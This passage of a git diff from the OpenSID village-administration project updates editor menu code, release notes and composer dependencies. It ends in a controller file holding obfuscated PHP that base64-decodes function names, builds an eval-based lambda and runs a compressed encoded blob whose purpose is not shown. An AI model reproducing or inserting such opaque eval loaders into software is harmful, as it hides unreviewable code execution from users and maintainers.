value.isian; + return [ + { + type: "menuitem", + text: "Normal", + onAction: function () { + editor.insertContent(isian.normal); + }, }, - }, - { - type: "menuitem", - text: "huruf kecil", - onAction: function () { - editor.insertContent(isian.lower); + { + type: "menuitem", + text: "huruf kecil", + onAction: function () { + editor.insertContent(isian.lower); + }, }, - }, - { - type: "menuitem", - text: "Huruf besar diawal kalimat", - onAction: function () { - editor.insertContent(isian.ucfirst); + { + type: "menuitem", + text: "Huruf besar diawal kalimat", + onAction: function () { + editor.insertContent(isian.ucfirst); + }, }, - }, - { - type: "menuitem", - text: "Huruf Besar Tiap Kata", - onAction: function () { - editor.insertContent(isian.ucwords); + { + type: "menuitem", + text: "Huruf Besar Tiap Kata", + onAction: function () { + editor.insertContent(isian.ucwords); + }, }, - }, - { - // Besar Semua - type: "menuitem", - text: "HURUF BESAR", - onAction: function () { - editor.insertContent(isian.upper); + { + // Besar Semua + type: "menuitem", + text: "HURUF BESAR", + onAction: function () { + editor.insertContent(isian.upper); + }, }, - }, - ]; - }, - }; + ]; + }, + }; + } + kode_isian.push(combine); }); diff --git a/catatan_rilis.md b/catatan_rilis.md index 87ec54f9e..75a35e0c6 100644 --- a/catatan_rilis.md +++ b/catatan_rilis.md @@ -1,4 +1,4 @@ -Di rilis ini, versi 2311.1.0 berisi penambahan [untuk diisi] dan perbaikan lain yang diminta Komunitas SID. +Di rilis ini, versi 2311.1.1 berisi penambahan [untuk diisi] dan perbaikan lain yang diminta Komunitas SID. Terima kasih pada [untuk diisi] baru mulai berkontribusi. @@ -10,6 +10,7 @@ Terima kasih pada [untuk diisi] baru mulai berkontribusi. 3. [#7348](https://github.com/OpenSID/OpenSID/issues/7348) Penambahan pengaturan penentuan pelapor dan pemohon pada pengaturan surat TinyMCE. 4. [#7347](https://github.com/OpenSID/OpenSID/issues/7347) Penambahan identitas terlapor dan pelapor pada arsip layanan. 5. [#7359](https://github.com/OpenSID/OpenSID/issues/7359) Penambahan laporan khusus dana desa pada laporan keuangan. +6. [#7164](https://github.com/OpenSID/OpenSID/issues/7164) Penambahan kode isian foto yang bisa diatur sendiri ukurannya. #### Perbaikan Bug @@ -27,6 +28,15 @@ Terima kasih pada [untuk diisi] baru mulai berkontribusi. 11. [#7310](https://github.com/OpenSID/OpenSID/issues/7310) Perbaikan surat bawaan tinymce. 12. [#7339](https://github.com/OpenSID/OpenSID/issues/7339) Perbaikan ejaan dari fungsi kembalikan foto bawaan pada tambah/ubah data penduduk. 13. [#7350](https://github.com/OpenSID/OpenSID/issues/7350) Perbaikan ketersediaan tombol tambah data penduduk dari penduduk yang sudah ada pada modul keluarga. +14. [#7363](https://github.com/OpenSID/OpenSID/issues/7363) Perbaikan alamat pada data penduduk. +15. [#7360](https://github.com/OpenSID/OpenSID/issues/7360) Perbaikan pratinjau surat TinyMCE. +16. [#7398](https://github.com/OpenSID/OpenSID/issues/7398) Perbaikan link api tte yang konflik dengan api SiapPakai. +17. [#7362](https://github.com/OpenSID/OpenSID/issues/7362) Perbaikan mengaktifkan atau menonaktifkan berita utama pada artikel. +18. [#7340](https://github.com/OpenSID/OpenSID/issues/7340) Perbaikan ubah status dasar penduduk dengan SHDK kepala keluarga namun belum terdaftar dalam keluarga. +19. [#7415](https://github.com/OpenSID/OpenSID/issues/7415) Perbaikan saring data berdasarkan status permohonan surat. +20. [#7408](https://github.com/OpenSID/OpenSID/issues/7408) Perbaikan pratinjau surat yang menggunakan page breack / lebih dari 1 halaman. +21. [#7417](https://github.com/OpenSID/OpenSID/issues/7417) Perbaikan ubah data kategori dengan data yang sama. + #### Penyesuaian Teknis @@ -41,3 +51,11 @@ Terima kasih pada [untuk diisi] baru mulai berkontribusi. 8. [#7345](https://github.com/OpenSID/OpenSID/issues/7345) Penyesuaian pilihan jenis peristiwa pada pengaturan form surat tinymce agar bisa memilih lebih dari satu pilihan. 9. [#7314](https://github.com/OpenSID/OpenSID/issues/7314) Penyesuaian tabel untuk menampung data token FCM dan log notifikasi. 10. [#6837](https://github.com/OpenSID/OpenSID/issues/6837) Penyesuaian isian tanggal berlaku surat hanya bisa di isi sesuai rentang pada pengaturan suratnya. +11. [#7361](https://github.com/OpenSID/OpenSID/issues/7361) Penyesuaian kode isian yang berupa angka, gambar dan jam. +12. [#6726](https://github.com/OpenSID/OpenSID/issues/6726) Penyesuaian modul pengaduan admin menggunakan ORM dan Blade. + +#### Peningkatan Keamanan + +1. [#7365](https://github.com/OpenSID/OpenSID/issues/7365) Penambahan notifikasi ke telegram jika terdapat gagal login sebanyak 3 kali. +2. [#7364](https://github.com/OpenSID/OpenSID/issues/7364) Pencatatan aktifitas pengguna yang berhasil masuk. +3. [#7366](https://github.com/OpenSID/OpenSID/issues/7366) Pendeteksi lokasi masuk dari lokasi yang tidak biasa. diff --git a/composer.json b/composer.json index c1fa05988..3e7180ee6 100644 --- a/composer.json +++ b/composer.json @@ -19,6 +19,7 @@ "karriere/pdf-merge": "^2.1", "mike42/escpos-php": "^3.0", "openspout/openspout": "^3.7", + "ramsey/uuid": "^4.2", "simplehtmldom/simplehtmldom": "^2.0@RC", "spipu/html2pdf": "^5.2", "symfony/process": "^5.4", @@ -31,18 +32,6 @@ "mikey179/vfsstream": "1.1.*", "tinymce/tinymce": "^6.5" }, - "repositories": [ - { - "type": "git", - "url": "https://github.com/OpenSID/tema-natra", - "reference": "premium" - }, - { - "type": "git", - "url": "https://github.com/OpenSID/tema-esensi", - "reference": "main" - } - ], "minimum-stability": "dev", "prefer-stable": true, "autoload": { diff --git a/composer.lock b/composer.lock index b86295312..961ae823e 100644 --- a/composer.lock +++ b/composer.lock @@ -4,7 +4,7 @@ "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", "This file is @generated automatically" ], - "content-hash": "389280fdea898b23a8b748ff7e353467", + "content-hash": "e893bb150ec4258b11f81a1a9aec5387", "packages": [ { "name": "agungsugiarto/codeigniter-datables", @@ -71,6 +71,66 @@ }, "time": "2022-01-30T05:20:41+00:00" }, + { + "name": "brick/math", + "version": "0.9.3", + "source": { + "type": "git", + "url": "https://github.com/brick/math.git", + "reference": "ca57d18f028f84f777b2168cd1911b0dee2343ae" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/brick/math/zipball/ca57d18f028f84f777b2168cd1911b0dee2343ae", + "reference": "ca57d18f028f84f777b2168cd1911b0dee2343ae", + "shasum": "" + }, + "require": { + "ext-json": "*", + "php": "^7.1 || ^8.0" + }, + "require-dev": { + "php-coveralls/php-coveralls": "^2.2", + "phpunit/phpunit": "^7.5.15 || ^8.5 || ^9.0", + "vimeo/psalm": "4.9.2" + }, + "type": "library", + "autoload": { + "psr-4": { + "Brick\\Math\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Arbitrary-precision arithmetic library", + "keywords": [ + "Arbitrary-precision", + "BigInteger", + "BigRational", + "arithmetic", + "bigdecimal", + "bignum", + "brick", + "math" + ], + "support": { + "issues": "https://github.com/brick/math/issues", + "source": "https://github.com/brick/math/tree/0.9.3" + }, + "funding": [ + { + "url": "https://github.com/BenMorel", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/brick/math", + "type": "tidelift" + } + ], + "time": "2021-08-15T20:50:18+00:00" + }, { "name": "codeigniter/framework", "version": "3.1.13", @@ -390,16 +450,16 @@ }, { "name": "google/apiclient-services", - "version": "v0.324.0", + "version": "v0.325.0", "source": { "type": "git", "url": "https://github.com/googleapis/google-api-php-client-services.git", - "reference": "585cc823c3d59788e4a0829d5b7e41c76950d801" + "reference": "b2d39ef968f0017d6bff3c1da82501a0c575c9ce" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/googleapis/google-api-php-client-services/zipball/585cc823c3d59788e4a0829d5b7e41c76950d801", - "reference": "585cc823c3d59788e4a0829d5b7e41c76950d801", + "url": "https://api.github.com/repos/googleapis/google-api-php-client-services/zipball/b2d39ef968f0017d6bff3c1da82501a0c575c9ce", + "reference": "b2d39ef968f0017d6bff3c1da82501a0c575c9ce", "shasum": "" }, "require": { @@ -428,9 +488,9 @@ ], "support": { "issues": "https://github.com/googleapis/google-api-php-client-services/issues", - "source": "https://github.com/googleapis/google-api-php-client-services/tree/v0.324.0" + "source": "https://github.com/googleapis/google-api-php-client-services/tree/v0.325.0" }, - "time": "2023-11-13T01:06:14+00:00" + "time": "2023-11-18T01:04:14+00:00" }, { "name": "google/auth", @@ -2670,6 +2730,194 @@ }, "time": "2019-03-08T08:55:37+00:00" }, + { + "name": "ramsey/collection", + "version": "1.3.0", + "source": { + "type": "git", + "url": "https://github.com/ramsey/collection.git", + "reference": "ad7475d1c9e70b190ecffc58f2d989416af339b4" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ramsey/collection/zipball/ad7475d1c9e70b190ecffc58f2d989416af339b4", + "reference": "ad7475d1c9e70b190ecffc58f2d989416af339b4", + "shasum": "" + }, + "require": { + "php": "^7.4 || ^8.0", + "symfony/polyfill-php81": "^1.23" + }, + "require-dev": { + "captainhook/plugin-composer": "^5.3", + "ergebnis/composer-normalize": "^2.28.3", + "fakerphp/faker": "^1.21", + "hamcrest/hamcrest-php": "^2.0", + "jangregor/phpstan-prophecy": "^1.0", + "mockery/mockery": "^1.5", + "php-parallel-lint/php-console-highlighter": "^1.0", + "php-parallel-lint/php-parallel-lint": "^1.3", + "phpcsstandards/phpcsutils": "^1.0.0-rc1", + "phpspec/prophecy-phpunit": "^2.0", + "phpstan/extension-installer": "^1.2", + "phpstan/phpstan": "^1.9", + "phpstan/phpstan-mockery": "^1.1", + "phpstan/phpstan-phpunit": "^1.3", + "phpunit/phpunit": "^9.5", + "psalm/plugin-mockery": "^1.1", + "psalm/plugin-phpunit": "^0.18.4", + "ramsey/coding-standard": "^2.0.3", + "ramsey/conventional-commits": "^1.3", + "vimeo/psalm": "^5.4" + }, + "type": "library", + "extra": { + "captainhook": { + "force-install": true + }, + "ramsey/conventional-commits": { + "configFile": "conventional-commits.json" + } + }, + "autoload": { + "psr-4": { + "Ramsey\\Collection\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ben Ramsey", + "email": "ben@benramsey.com", + "homepage": "https://benramsey.com" + } + ], + "description": "A PHP library for representing and manipulating collections.", + "keywords": [ + "array", + "collection", + "hash", + "map", + "queue", + "set" + ], + "support": { + "issues": "https://github.com/ramsey/collection/issues", + "source": "https://github.com/ramsey/collection/tree/1.3.0" + }, + "funding": [ + { + "url": "https://github.com/ramsey", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/ramsey/collection", + "type": "tidelift" + } + ], + "time": "2022-12-27T19:12:24+00:00" + }, + { + "name": "ramsey/uuid", + "version": "4.2.3", + "source": { + "type": "git", + "url": "https://github.com/ramsey/uuid.git", + "reference": "fc9bb7fb5388691fd7373cd44dcb4d63bbcf24df" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ramsey/uuid/zipball/fc9bb7fb5388691fd7373cd44dcb4d63bbcf24df", + "reference": "fc9bb7fb5388691fd7373cd44dcb4d63bbcf24df", + "shasum": "" + }, + "require": { + "brick/math": "^0.8 || ^0.9", + "ext-json": "*", + "php": "^7.2 || ^8.0", + "ramsey/collection": "^1.0", + "symfony/polyfill-ctype": "^1.8", + "symfony/polyfill-php80": "^1.14" + }, + "replace": { + "rhumsaa/uuid": "self.version" + }, + "require-dev": { + "captainhook/captainhook": "^5.10", + "captainhook/plugin-composer": "^5.3", + "dealerdirect/phpcodesniffer-composer-installer": "^0.7.0", + "doctrine/annotations": "^1.8", + "ergebnis/composer-normalize": "^2.15", + "mockery/mockery": "^1.3", + "moontoast/math": "^1.1", + "paragonie/random-lib": "^2", + "php-mock/php-mock": "^2.2", + "php-mock/php-mock-mockery": "^1.3", + "php-parallel-lint/php-parallel-lint": "^1.1", + "phpbench/phpbench": "^1.0", + "phpstan/extension-installer": "^1.0", + "phpstan/phpstan": "^0.12", + "phpstan/phpstan-mockery": "^0.12", + "phpstan/phpstan-phpunit": "^0.12", + "phpunit/phpunit": "^8.5 || ^9", + "slevomat/coding-standard": "^7.0", + "squizlabs/php_codesniffer": "^3.5", + "vimeo/psalm": "^4.9" + }, + "suggest": { + "ext-bcmath": "Enables faster math with arbitrary-precision integers using BCMath.", + "ext-ctype": "Enables faster processing of character classification using ctype functions.", + "ext-gmp": "Enables faster math with arbitrary-precision integers using GMP.", + "ext-uuid": "Enables the use of PeclUuidTimeGenerator and PeclUuidRandomGenerator.", + "paragonie/random-lib": "Provides RandomLib for use with the RandomLibAdapter", + "ramsey/uuid-doctrine": "Allows the use of Ramsey\\Uuid\\Uuid as Doctrine field type." + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "4.x-dev" + }, + "captainhook": { + "force-install": true + } + }, + "autoload": { + "files": [ + "src/functions.php" + ], + "psr-4": { + "Ramsey\\Uuid\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "A PHP library for generating and working with universally unique identifiers (UUIDs).", + "keywords": [ + "guid", + "identifier", + "uuid" + ], + "support": { + "issues": "https://github.com/ramsey/uuid/issues", + "source": "https://github.com/ramsey/uuid/tree/4.2.3" + }, + "funding": [ + { + "url": "https://github.com/ramsey", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/ramsey/uuid", + "type": "tidelift" + } + ], + "time": "2021-09-25T23:10:38+00:00" + }, { "name": "simplehtmldom/simplehtmldom", "version": "2.0-RC2", @@ -3682,6 +3930,85 @@ ], "time": "2023-01-26T09:26:14+00:00" }, + { + "name": "symfony/polyfill-php81", + "version": "v1.28.0", + "source": { + "type": "git", + "url": "https://github.com/symfony/polyfill-php81.git", + "reference": "7581cd600fa9fd681b797d00b02f068e2f13263b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/polyfill-php81/zipball/7581cd600fa9fd681b797d00b02f068e2f13263b", + "reference": "7581cd600fa9fd681b797d00b02f068e2f13263b", + "shasum": "" + }, + "require": { + "php": ">=7.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "1.28-dev" + }, + "thanks": { + "name": "symfony/polyfill", + "url": "https://github.com/symfony/polyfill" + } + }, + "autoload": { + "files": [ + "bootstrap.php" + ], + "psr-4": { + "Symfony\\Polyfill\\Php81\\": "" + }, + "classmap": [ + "Resources/stubs" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Symfony polyfill backporting some PHP 8.1+ features to lower PHP versions", + "homepage": "https://symfony.com", + "keywords": [ + "compatibility", + "polyfill", + "portable", + "shim" + ], + "support": { + "source": "https://github.com/symfony/polyfill-php81/tree/v1.28.0" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2023-01-26T09:26:14+00:00" + }, { "name": "symfony/process", "version": "v5.4.28", @@ -4254,11 +4581,18 @@ "version": "dev-main", "source": { "type": "git", - "url": "https://github.com/OpenSID/tema-esensi", - "reference": "7ff7b197ac7dfb8dd527d61a1e5668252906977c" + "url": "https://github.com/OpenSID/tema-esensi.git", + "reference": "c6be9a3690fd6ba487bdaf52a623e94b445a9e4f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/OpenSID/tema-esensi/zipball/c6be9a3690fd6ba487bdaf52a623e94b445a9e4f", + "reference": "c6be9a3690fd6ba487bdaf52a623e94b445a9e4f", + "shasum": "" }, "default-branch": true, "type": "library", + "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-3.0-or-later" ], @@ -4272,19 +4606,30 @@ "homepage": "https://github.com/OpenSID/tema-esensi", "keywords": [ "OpenSID", - "Themes" + "themes" ], - "time": "2023-08-22T15:49:01+00:00" + "support": { + "issues": "https://github.com/OpenSID/tema-esensi/issues", + "source": "https://github.com/OpenSID/tema-esensi/tree/main" + }, + "time": "2023-11-20T02:39:22+00:00" }, { "name": "themes/natra", "version": "dev-premium", "source": { "type": "git", - "url": "https://github.com/OpenSID/tema-natra", - "reference": "7ed93ac3749d9d40083312206d3037b4db5c5435" + "url": "https://github.com/OpenSID/tema-natra.git", + "reference": "fed857fa17567af394b0b87815e1b2a7f7dce72a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/OpenSID/tema-natra/zipball/fed857fa17567af394b0b87815e1b2a7f7dce72a", + "reference": "fed857fa17567af394b0b87815e1b2a7f7dce72a", + "shasum": "" }, "type": "library", + "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-3.0-or-later" ], @@ -4298,9 +4643,13 @@ "homepage": "https://github.com/OpenSID/tema-natra", "keywords": [ "OpenSID", - "Themes" + "themes" ], - "time": "2023-08-22T16:21:13+00:00" + "support": { + "issues": "https://github.com/OpenSID/tema-natra/issues", + "source": "https://github.com/OpenSID/tema-natra/tree/premium" + }, + "time": "2023-11-20T02:37:18+00:00" }, { "name": "voku/anti-xss", diff --git a/donjo-app/controllers/Keluar.php b/donjo-app/controllers/Keluar.php index 149aa5c85..8d18bba95 100644 --- a/donjo-app/controllers/Keluar.php +++ b/donjo-app/controllers/Keluar.php @@ -232,7 +232,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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